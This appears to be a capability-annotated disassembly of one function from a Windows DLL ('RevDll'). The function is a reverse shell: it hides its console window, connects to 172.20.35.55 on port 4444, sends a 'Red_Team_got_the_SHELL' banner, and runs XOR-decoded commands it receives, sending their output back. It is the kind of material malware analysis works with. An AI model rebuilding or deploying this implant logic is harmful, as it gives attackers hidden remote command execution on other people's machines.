Function at 0x180001420
Capabilities:
Connect socket
Convert ip address from string
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x620
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rsp + 0x610], rax
mov ebx, edx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
test ebx, ebx
je 0x1800018ac
cmp ebx, 1
jne 0x1800018b2
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1800018b2
lea rsi, [0x180003368]
xor r14d, r14d
mov ebx, 2
nop
xor r8d, r8d
lea edx, [r8 + 1]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x1800014c1
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
jmp 0x1800014a0
mov word [rsp + 0x60], bx
mov ecx, 0x115c
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x62], ax
lea r8, [rsp + 0x64]
lea rdx, str.172.20.35.55
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
mov rcx, r15
test eax, eax
jg 0x180001500
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
jmp 0x1800014a0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x18000152b
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
jmp 0x1800014a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r14
mov r8d, 0x18
lea rdx, str.Red_Team_got_the_SHELL:
lea rcx, [rsp + 0x20]
call fcn.1800018f0
mov rbx, qword [rsp + 0x30]
mov rcx, rbx
call fcn.180001c20
mov rdi, rax
mov rdx, r14
mov r13, qword [rsp + 0x38]
mov r12, qword [rsp + 0x20]
test rbx, rbx
je 0x1800015a4
cmp r13, 0x10
setae r8b
nop
lea rcx, [rsp + 0x20]
test r8b, r8b
cmovne rcx, r12
mov rax, rdx
and eax, 7
movzx eax, byte [rax + rsi]
xor al, byte [rcx + rdx]
mov byte [rdx + rdi], al
inc rdx
cmp rdx, rbx
jb 0x180001580
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
mov rcx, rdi
call fcn.180001bb0
cmp ebx, 0xffffffff
jne 0x180001620
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
cmp r13, 0x10
jb 0x180001607
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x1800015fe
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001892
mov rcx, r12
call fcn.180001bb0
nop
mov ebx, 2
jmp 0x1800014a0
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0x210]
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rsp + 0x210]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x18000185d
movsxd rbx, eax
mov rcx, rbx
call fcn.180001c20
mov rdi, rax
mov rcx, r14
test rbx, rbx
je 0x18000169c
lea r9, [rsp + 0x210]
sub r9, rax
nop dword [rax + rax]
lea rdx, [rcx + rdi]
mov rax, rcx
and eax, 7
movzx eax, byte [rax + rsi]
xor al, byte [r9 + rdx]
mov byte [rdx], al
inc rcx
cmp rcx, rbx
jb 0x180001680
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
mov r8, rbx
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.1800018f0
mov rcx, rdi
call fcn.180001bb0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call sym.RevDll.dll_executeCommand
mov rbx, qword [rsp + 0x30]
mov rcx, rbx
call fcn.180001c20
mov rdi, rax
mov rdx, r14
test rbx, rbx
je 0x180001719
nop dword [rax]
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rcx, qword [rsp + 0x20]
mov rax, rdx
and eax, 7
movzx eax, byte [rax + rsi]
xor al, byte [rcx + rdx]
mov byte [rdi + rdx], al
inc rdx
cmp rdx, rbx
jb 0x1800016f0
xor r9d, r9d
mov r8d, dword [rsp + 0x30]
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
mov rcx, rdi
call fcn.180001bb0
mov rdx, qword [rsp + 0x38]
cmp ebx, 0xffffffff
je 0x1800017d6
cmp rdx, 0x10
jb 0x18000177d
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001778
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001851
call fcn.180001bb0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], socket
mov byte [rsp + 0x20], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x180001620
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800017cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001851
call fcn.180001bb0
jmp 0x180001620
cmp rdx, 0x10
jb 0x18000180a
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001805
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001851
call fcn.180001bb0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], socket
mov byte [rsp + 0x20], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x18000185d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001858
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001858
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180001bb0
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
cmp r13, 0x10
jb 0x1800018a2
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x180001899
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001899
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.180001bb0
nop
jmp 0x180001499
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rsp + 0x610]
xor rcx, rsp
call fcn.180001b90
lea r11, [rsp + 0x620]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret